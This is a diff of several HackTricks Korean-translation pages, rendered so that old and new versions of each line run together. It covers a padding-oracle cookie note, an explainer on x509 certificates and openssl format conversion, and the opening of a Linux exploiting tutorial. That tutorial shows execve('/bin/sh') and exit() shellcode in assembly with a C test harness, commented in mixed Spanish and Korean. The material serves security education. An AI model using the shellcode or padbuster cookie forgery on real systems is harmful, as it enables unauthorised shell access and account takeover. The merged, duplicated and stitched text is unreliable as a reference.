이제, **쿠키를 수정**하려고 하면 응용 프로그램에서 **오류**가 발생하는 것을 볼 수 있습니다.\ 이제 **쿠키를 수정**하려고 하면 애플리케이션에서 **오류**가 발생하는 것을 볼 수 있습니다.\
그러나 패딩을 BF(예: padbuster 사용)하면 다른 사용자에 대해 유효한 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 padbuster에 매우 취약할 가능성이 높습니다. 하지만 패딩을 BF하면(예: padbuster 사용) 다른 사용자에 대해 유효한 또 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 padbuster에 취약할 가능성이 높습니다.
### 참고 ### 참고 문헌
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영월까지 AWS 해킹을 배우세요**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 **PR을 제출**하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# 인증서 # Certificates
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
오늘 바로 액세스하세요: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 인증서란 ## What is a Certificate
**공개 키 인증서**는 암호학에서 사용되는 디지턀 ID로, 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용됩니다. 이는 키의 세부 정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명을 포함합니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하, 키 소유자와의 안전한 통신이 가능합니다. **공개 키 인증서**는 암호화에서 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용되는 디지털 ID입니다. 여기에는 키의 세부정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명이 포함됩니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하면 키 소유자와의 안전한 통신이 가능합니다.
인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)에 의해 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI) 설정에서 발급됩니다. 다른 방법은 사용자가 서로 키를 직접 확인하는 [신뢰 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에서 설명된 특정 요구 사항에 맞게 조정할 수 있습니다. 인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority) (CA)에서 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) 설정에서 발급됩니다. 또 다른 방법은 사용자가 서로의 키를 직접 검증하는 [신뢰의 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에 설명된 특정 요구 사항에 맞게 조정될 수 있습니다.
## x509 공통 필드 ## x509 Common Fields
### **x509 인증서의 공통 필드** ### **x509 인증서의 일반 필드**
x509 인증서에서 여러 **필드** 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 이러한 필드를 살펴보겠습니다: x509 인증서에서 여러 **필드** 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 이러한 필드의 세부 사항은 다음과 같습니다:
* **버전 번호**는 x509 형식의 버전을 나타냅니다. * **버전 번호**는 x509 형식의 버전을 나타냅니다.
* **일련 번호**는 주로 폐지 추적을 위해 인증 기관(CA) 시스템 내에서 인증서를 고유하게 식별합니다. * **일련 번호**는 인증서를 인증 기관(CA) 시스템 내에서 고유하게 식별하며, 주로 폐기 추적을 위해 사용됩니다.
* **주체** 필드는 인증서의 소유자를 나타내며, 기계, 개인 또는 조직일 수 있습니다. 다음과 같은 자세한 식별 정보를 포함합니다: * **주체** 필드는 인증서의 소유자를 나타내며, 이는 기계, 개인 또는 조직일 수 있습니다. 여기에는 다음과 같은 자세한 식별 정보가 포함됩니다:
* **일반 이름 (CN)**: 인증서가 적용되는 도메인 * **공통 이름(CN)**: 인증서가 적용되는 도메인.
* **국가(C)**, **지역(L)**, **주 또는 지방(ST, S 또는 P)**, **조직(O)** 및 **조직 단위(OU)**는 지리적 및 조직적 세부정보를 제공합니다. * **국가(C)**, **지역(L)**, **주 또는 지방(ST, S 또는 P)**, **조직(O)** 및 **조직 단위(OU)**는 지리적 및 조직적 세부정보를 제공합니다.
* **식별 이름 (DN)**은 전체 주체 식별을 캡슐화합니다. * **구별 이름(DN)**은 전체 주체 식별을 포함합니다.
* **발급자**는 인증서를 확인하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다. * **발급자**는 인증서를 검증하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다.
* **유효 기간**은 **Not Before****Not After** 타임스탬프로 표시되어, 특정 날짜 이전 또는 이후에 인증서가 사용되지 않도록 합니다. * **유효 기간**은 **Not Before****Not After** 타임스탬프로 표시되어 인증서가 특정 날짜 이전이나 이후에 사용되지 않도록 보장합니다.
* 인증서의 보안에 중요한 **공개 키** 섹션은 공개 키의 알고리즘, 크기 및 기술적 세부 정보를 지정합니다. * **공개 키** 섹션은 인증서의 보안에 중요한 부분으로, 공개 키의 알고리즘, 크기 및 기타 기술적 세부정보를 지정합니다.
* **x509v3 확장**은 인증서의 기능을 향상시키며, **키 사용**, **확장 키 사용**, **대체 주체 이름** 및 인증서의 응용 프로그램을 세밀하게 조정하기 위한 기타 속성을 지정합니다. * **x509v3 확장**은 인증서의 기능을 향상시키며, **키 사용**, **확장 키 사용**, **주체 대체 이름** 및 인증서의 적용을 세부 조정하는 기타 속성을 지정합니다.
#### **키 사용 및 확장** #### **키 사용 및 확장**
* **키 사용**은 공개 키의 암호화 응용 프로그램을 식별합니다. 예: 디지털 서명 또는 키 암호화 * **키 사용**은 공개 키의 암호화 응용 프로그램을 식별하며, 디지털 서명 또는 키 암호화와 같은 용도로 사용됩니다.
* **확장 키 사용**은 인증서의 사용 사례를 더 세분화합니다. 예: TLS 서버 인증을 위해 * **확장 키 사용**은 인증서의 사용 사례를 더욱 좁혀 TLS 서버 인증과 같은 용도로 사용됩니다.
* **대체 주체 이름** 및 **기본 제약**은 인증서가 적용되는 추가 호스트 이름 및 CA 또는 종단 개체 인증서인지 여부를 정의합니다. * **주체 대체 이름** 및 **기본 제약 조건**은 인증서가 적용되는 추가 호스트 이름과 인증서가 CA인지 최종 엔티티 인증서인지를 정의합니다.
* **주체 키 식별자** 및 **발급자 키 식별자**는 키의 고유성과 추적 가능성을 보장합니다. * **주체 키 식별자** 및 **권한 키 식별자**와 같은 식별자는 키의 고유성과 추적 가능성을 보장합니다.
* **발급자 정보 액세스** 및 **CRL 배포 지점**은 발급 CA를 확인하고 인증서 폐지 상태를 확인하기 위한 경로를 제공합니다. * **권한 정보 접근** 및 **CRL 배포 지점**은 발급 CA를 검증하고 인증서 폐기 상태를 확인하는 경로를 제공합니다.
* **CT 사전 인증 SCT**는 인증서에 대한 공개 신뢰에 중요한 투명성 로그를 제공합니다. * **CT 사전 인증서 SCT**는 인증서에 대한 공공 신뢰를 위해 중요한 투명성 로그를 제공합니다.
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -74,46 +75,48 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}") print(f"Subject: {subject}")
print(f"Public Key: {public_key}") print(f"Public Key: {public_key}")
``` ```
### **OCSP와 CRL 배포 지점의 차이** ### **OCSP와 CRL 배포 지점의 차이**
**OCSP** (**RFC 2560**)은 디지털 공개 키 인증서가 폐기되었는지 확인하기 위해 클라이언트와 응답기가 함께 작동하여 전체 **CRL**을 다운로드할 필요 없이 작동합니다. 이 방법은 폐기된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 효율적입니다. CRL에는 최대 512개의 항목이 포함될 수 있습니다. 자세한 내용은 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)에서 확인할 수 있습니다. **OCSP** (**RFC 2560**)는 클라이언트와 응답자가 협력하여 디지털 공개 키 인증서가 취소되었는지 확인하는 방법으로, 전체 **CRL**을 다운로드할 필요가 없습니다. 이 방법은 취소된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 더 효율적입니다. CRL은 최대 512개의 항목을 포함할 수 있습니다. 더 많은 세부정보는 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)에서 확인할 수 있습니다.
### **인증서 투명성이란** ### **인증서 투명성이란**
인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 투명하게 표시되도록하여 인증서 관련 위협에 대항하는 데 도움을 줍니다. 그 목표는 다음과 같습니다: 인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 가시화되도록 하여 인증서 관련 위협에 대응하는 데 도움을 줍니다. 그 목표는 다음과 같습니다:
* 도메인 소유자의 동의 없이 CA가 도메인을 위한 SSL 인증서를 발급하는 것을 방지합니다. * CA가 도메인 소유자의 지식 없이 도메인에 대한 SSL 인증서를 발급하는 것을 방지합니다.
* 실수로나 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 설정합니다. * 실수로 또는 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 구축합니다.
* 사용자를 사기적인 인증서로부터 보호합니다. * 사용자들을 사기성 인증서로부터 보호합니다.
#### **인증서 로그** #### **인증서 로그**
인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능한, 추가 전용 인증서 레코드입니다. 이러한 로그는 감사 목적을 위한 암호학적 증거를 제공합니다. 발급 기관과 일반인 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만 전 세계적으로 천 개 미만으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관련 당사자에 의해 독립적으로 관리될 수 있습니다. 인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능하고 추가 전용 기록입니다. 이러한 로그는 감사 목적으로 암호학적 증거를 제공합니다. 발급 기관과 대중 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만, 전 세계적으로 천 개 미만일 것으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관심 있는 어떤 주체에 의해 독립적으로 관리될 수 있습니다.
#### **쿼리** #### **쿼리**
어떤 도메인에 대한 인증서 투명성 로그를 살펴보려면 [https://crt.sh/](https://crt.sh)를 방문하십시오. 어떤 도메인에 대한 인증서 투명성 로그를 탐색하려면 [https://crt.sh/](https://crt.sh) 를 방문하세요.
인증서를 저장하는 다양한 형식이 있으며, 각 형식은 고유한 사용 사례와 호환성을 가지고 있습니다. 이 요약에서는 주요 형식을 다루고 이들 간의 변환에 대한 지침을 제공합니다.
## **형식** ## **형식**
### **PEM 형식** ### **PEM 형식**
* 인증서에 가장 널리 사용되는 형식입니다. * 인증서에 가장 널리 사용되는 형식입니다.
* 인증서와 개인 키를 별도의 파일로 요구하며 Base64 ASCII로 인코딩됩니다. * 인증서와 개인 키를 위해 별도의 파일이 필요하며, Base64 ASCII로 인코딩됩니다.
* 일반적인 확장자: .cer, .crt, .pem, .key. * 일반적인 확장자: .cer, .crt, .pem, .key.
* 주로 Apache 및 유사한 서버에서 사용됩니다. * 주로 Apache 및 유사한 서버에서 사용됩니다.
### **DER 형식** ### **DER 형식**
* 인증서의 이진 형식입니다. * 인증서의 이진 형식입니다.
* PEM 파일에는 "BEGIN/END CERTIFICATE" 문이 없습니다. * PEM 파일에서 발견되는 "BEGIN/END CERTIFICATE" 문이 없습니다.
* 일반적인 확장자: .cer, .der. * 일반적인 확장자: .cer, .der.
* Java 플랫폼과 함께 자주 사용됩니다. * 종종 Java 플랫폼과 함께 사용됩니다.
### **P7B/PKCS#7 형식** ### **P7B/PKCS#7 형식**
* Base64 ASCII로 저장되며 .p7b 또는 .p7c 확장자가 있습니다. * Base64 ASCII로 저장되며, 확장자는 .p7b 또는 .p7c입니다.
* 개인 키를 제외한 인증서 및 체인 인증서만 포함합니다. * 개인 키를 제외하고 인증서와 체인 인증서만 포함됩니다.
* Microsoft Windows 및 Java Tomcat에서 지원됩니다. * Microsoft Windows 및 Java Tomcat에서 지원됩니다.
### **PFX/P12/PKCS#12 형식** ### **PFX/P12/PKCS#12 형식**
@ -126,74 +129,71 @@ print(f"Public Key: {public_key}")
**PEM 변환**은 호환성을 위해 필수적입니다: **PEM 변환**은 호환성을 위해 필수적입니다:
* **x509를 PEM으로** * **x509 to PEM**
```bash ```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
* **PEM을 DER로 변환** * **PEM에서 DER로**
```bash ```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der openssl x509 -outform der -in certificatename.pem -out certificatename.der
``` ```
* **DER를 PEM으로 변환** * **DER to PEM**
```bash ```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem openssl x509 -inform der -in certificatename.der -out certificatename.pem
``` ```
* **PEM을 P7B로 변환하기** * **PEM에서 P7B로**
```bash ```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
``` ```
* **PKCS7를 PEM으로 변환하기** * **PKCS7를 PEM으로**
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**PFX 변환**은 Windows에서 인증서를 관리하는 데 중요합니다: **PFX 변환**은 Windows에서 인증서를 관리하는 데 중요합니다:
* **PFX PEM으로** * **PFX에서 PEM으로**
```bash ```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
* **PFX를 PKCS#8로 변환**은 두 단계로 이루어집니다: * **PFX to PKCS#8**는 두 단계로 이루어집니다:
1. PFX를 PEM으로 변환합니다. 1. PFX를 PEM으로 변환
```bash ```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. PEM을 PKCS8로 변환합니다. 2. PEM을 PKCS8로 변환하기
```bash
openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private_key.pk8 -nocrypt
```
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
* **P7B를 PFX로 변환**은 두 개의 명령어가 필요합니다: * **P7B to PFX** 또한 두 개의 명령이 필요합니다:
1. P7B를 CER로 변환합니다. 1. P7B를 CER로 변환
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
2. CER 및 개인 키를 PFX로 변환합니다. 2. CER 및 개인 키를 PFX로 변환하기
```bash ```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
*** ***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Linux Exploiting (Basic) (SPA) # Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
## **2.SHELLCODE** ## **2.SHELLCODE**
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” 커널 인터럽션 보기: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\ setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1 exit(0); // \_\_NR\_exit 1
xor eax, eax ; limpiamos eax\ xor eax, eax ; eax 초기화\
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\ xor ebx, ebx ; ebx = 0, 인자가 없으므로\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Ejecutar syscall int 0x80 ; 시스템 호출 실행
**nasm -f elf assembly.asm** —> Nos devuelve un .o\ **nasm -f elf assembly.asm** —> .o 파일 반환\
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\ **ld assembly.o -o shellcodeout** —> 어셈블리 코드로 구성된 실행 파일 생성, **objdump**로 opcodes 추출 가능\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes **objdump -d -Mintel ./shellcodeout** —> 실제로 우리의 shellcode인지 확인하고 OpCodes 추출
**Comprobar que la shellcode funciona** **shellcode가 작동하는지 확인**
``` ```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@ -41,11 +42,11 @@ fp = (void *)shellcode;
fp(); fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span> }<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
``` ```
시스템 호출이 올바르게 이루어졌는지 확인하려면 이전 프로그램을 컴파일하고 시스템 호출이 **strace ./COMPILADO_프로그램**에 나타나야 합니다. 시스템 호출이 올바르게 수행되는지 확인하려면 이전 프로그램을 컴파일해야 하며 시스템 호출은 **strace ./PROGRAMA\_COMPILADO**에 나타나야 합니다.
쉘코드를 작성할 때 한 가지 트릭을 사용할 수 있습니다. 첫 번째 명령은 call로 이어지는 점프입니다. 이 call은 원래 코드를 호출하고 스택에 EIP를 넣습니다. call 명령 다음에 필요한 문자열을 넣었으므로 해당 EIP로 문자열을 가리킬 수 있고 코드 실행을 계속할 수 있습니다. 쉘코드를 생성할 때 트릭을 사용할 수 있습니다. 첫 번째 명령어는 call로 점프하는 것입니다. call은 원래 코드를 호출하고 EIP를 스택에 넣습니다. call 명령어 이후에 필요한 문자열을 넣었으므로, 이 EIP를 사용하여 문자열을 가리키고 코드를 계속 실행할 수 있습니다.
예시 **트릭 (/bin/sh)**: EJ **TRUCO (/bin/sh)**:
``` ```
jmp 0x1f ; Salto al último call jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string popl %esi ; Guardamos en ese la dirección al string
@ -65,7 +66,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span> .string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
``` ```
**/bin/sh를 사용한 EJ:** **EJ 스택 사용(/bin/sh):**
``` ```
section .text section .text
global _start global _start
@ -87,20 +88,19 @@ mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
``` ```
**EJ FNSTENV:** **EJ FNSTENV:**
EJ FNSTENV는 목표로 하는 메모리 주소에 현재 FPU 상태를 저장하는 데 사용됩니다.
``` ```
fabs fabs
fnstenv [esp-0x0c] fnstenv [esp-0x0c]
